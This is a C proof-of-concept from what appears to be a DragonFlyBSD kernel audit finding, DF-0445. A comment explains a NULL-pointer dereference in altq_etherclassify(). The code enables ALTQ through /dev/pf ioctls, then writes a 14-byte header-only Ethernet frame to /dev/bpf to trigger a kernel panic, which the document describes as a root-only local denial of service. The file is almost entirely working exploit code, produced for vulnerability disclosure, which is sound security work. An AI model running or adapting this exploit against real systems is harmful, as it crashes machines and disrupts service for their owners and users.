DragonFlyBSD Kernel Audit
DF-0445 / altq_etherclassify_npd.c
← back to finding ↓ download raw
/*
 * DF-0445 — altq_etherclassify() NULL-pointer dereference
 *
 * Mechanism (root-only: needs ALTQ enabled + /dev/bpf):
 *   sys/net/if_ethersubr.c:927-930:
 *
 *       while (m->m_len <= hlen) {
 *           hlen -= m->m_len;
 *           m = m->m_next;
 *       }
 *
 *   The loop body assigns m = m->m_next without checking for NULL.  If the
 *   mbuf chain terminates at exactly hlen bytes (m_next == NULL on the last
 *   mbuf, with m_len of that mbuf <= hlen), the next loop iteration
 *   evaluates m->m_len on NULL -> panic.
 *
 *   Trigger: a single-mbuf packet with m_len == sizeof(ether_header) (== 14)
 *   and m_next == NULL.  When ether_output_frame() runs with ALTQ enabled on
 *   the interface, altq_etherclassify is called with:
 *       hlen = sizeof(struct ether_header) = 14
 *       eh->ether_type = ETHERTYPE_IP   (so the IP branch is taken)
 *   Loop condition (14 <= 14) is TRUE -> body executes -> hlen = 0,
 *   m = m_next = NULL.  Loop re-checks `m->m_len` on NULL -> NPD panic.
 *
 *   How we manufacture the 14-byte single-mbuf packet:
 *     - bpf_movein() reads the user's 14-byte ether_header into the mbuf
 *       (m_len = 14), then strips those 14 bytes (m_len = 0) and copies them
 *       into the sockaddr sa_data.
 *     - ether_output() then M_PREPENDs 14 bytes (the ether_header) back onto
 *       the mbuf, leaving m_len = 14, m_next = NULL.
 *     - ether_output_frame() -> altq_etherclassify() -> NPD.
 *
 * Trigger requires root: enabling ALTQ via /dev/pf ioctls and writing to
 * /dev/bpf both need root.  This is a privileged local DoS (panic).
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>
#include <net/altq/altq_cbq.h>
#include <net/bpf.h>
#include <net/ethernet.h>

#define IFNAME "vtnet0"

/* ALTQ setup: just enable CBQ on the interface.  We don't need a working
 * QoS configuration -- altq_etherclassify is called whenever ALTQ is
 * "enabled" on the ifq, regardless of queue config. */
static int enable_altq(const char *ifname)
{
    int fd = open("/dev/pf", O_RDWR);
    if (fd < 0) return -1;

    if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST) {
        int e = errno; close(fd); errno = e; return -1;
    }

    /* DIOCXBEGIN: start an altq transaction. */
    struct pfioc_trans_e te;
    memset(&te, 0, sizeof(te));
    te.rs_num = PF_RULESET_ALTQ;
    struct pfioc_trans tr = { .size = 1, .esize = sizeof(te), .array = &te };
    if (ioctl(fd, DIOCXBEGIN, &tr) < 0) { int e=errno; close(fd); errno=e; return -1; }
    u_int32_t ticket = te.ticket;

    /* Add CBQ discipline (qname empty). */
    struct pfioc_altq pa;
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.altq.scheduler = ALTQT_CBQ;
    pa.altq.ifbandwidth = 1000000000;
    strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
    if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { int e=errno; close(fd); errno=e; return -1; }
    void *disc = pa.altq.altq_disc;

    /* Add a root class so the discipline has a root_ and ifq_is_enabled()
     * will be true after commit. */
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.altq.scheduler = ALTQT_CBQ;
    pa.altq.ifbandwidth = 1000000000;
    pa.altq.bandwidth   = 1000000000;
    pa.altq.qid         = 1;
    pa.altq.priority    = 0;
    pa.altq.qlimit      = 30;
    pa.altq.altq_disc   = disc;
    pa.altq.pq_u.cbq_opts.flags        = CBQCLF_ROOTCLASS;
    pa.altq.pq_u.cbq_opts.ns_per_byte  = 1;
    strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
    strlcpy(pa.altq.qname,  "rootq", sizeof(pa.altq.qname));
    if (ioctl(fd, DIOCADDALTQ, &pa) < 0) { int e=errno; close(fd); errno=e; return -1; }

    /* Commit. */
    memset(&te, 0, sizeof(te));
    te.rs_num = PF_RULESET_ALTQ;
    te.ticket = ticket;
    tr.size = 1; tr.esize = sizeof(te); tr.array = &te;
    if (ioctl(fd, DIOCXCOMMIT, &tr) < 0) { int e=errno; close(fd); errno=e; return -1; }

    /* DIOCSTARTALTQ must be called AFTER commit to actually set
     * ALTQF_ENABLED on the ifq.  Calls pf_enable_altq for each active
     * discipline, which calls altq_enable(). */
    if (ioctl(fd, DIOCSTARTALTQ) < 0) {
        int e = errno; close(fd); errno = e; return -1;
    }
    close(fd);
    return 0;
}

int main(void)
{
    /* 1. Enable ALTQ on the interface. */
    if (enable_altq(IFNAME) < 0) {
        fprintf(stderr, "enable_altq(%s): %s\n", IFNAME, strerror(errno));
        return 2;
    }
    printf("ALTQ enabled on %s\n", IFNAME);

    /* 2. Open /dev/bpf and attach to the interface. */
    int bfd = -1;
    char devname[16];
    for (int i = 0; i < 16; i++) {
        snprintf(devname, sizeof(devname), "/dev/bpf%d", i);
        bfd = open(devname, O_RDWR);
        if (bfd >= 0) break;
        if (errno != EBUSY) { fprintf(stderr, "open %s: %s\n", devname, strerror(errno)); }
    }
    if (bfd < 0) return 2;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strlcpy(ifr.ifr_name, IFNAME, sizeof(ifr.ifr_name));
    if (ioctl(bfd, BIOCSETIF, &ifr) < 0) {
        fprintf(stderr, "BIOCSETIF: %s\n", strerror(errno)); return 2;
    }
    printf("BPF attached to %s via %s\n", IFNAME, devname);

    /* bd_hdrcmplt = 1 so the kernel uses our ether_header verbatim
     * (sa_family = pseudo_AF_HDRCMPLT). */
    u_int hdrcmplt = 1;
    if (ioctl(bfd, BIOCSHDRCMPLT, &hdrcmplt) < 0) {
        fprintf(stderr, "BIOCSHDRCMPLT: %s\n", strerror(errno));
    }

    /* 3. Construct a 14-byte ether_header-only frame with type=IP. */
    struct {
        u_char dst[ETHER_ADDR_LEN];
        u_char src[ETHER_ADDR_LEN];
        u_int16_t type;
    } __attribute__((packed)) eh;
    memset(eh.dst, 0xff, ETHER_ADDR_LEN);          /* broadcast */
    memset(eh.src, 0x52, ETHER_ADDR_LEN);          /* arbitrary */
    eh.type = htons(ETHERTYPE_IP);

    printf("\n*** WRITING 14-byte ether_header-only frame -- if altq_etherclassify "
           "is reached, EXPECT NPD PANIC ***\n");
    fflush(stdout);

    ssize_t n = write(bfd, &eh, sizeof(eh));
    if (n < 0) fprintf(stderr, "bpf write: %s\n", strerror(errno));
    else printf("bpf write returned %zd bytes (no panic)\n", n);

    close(bfd);
    return 0;
}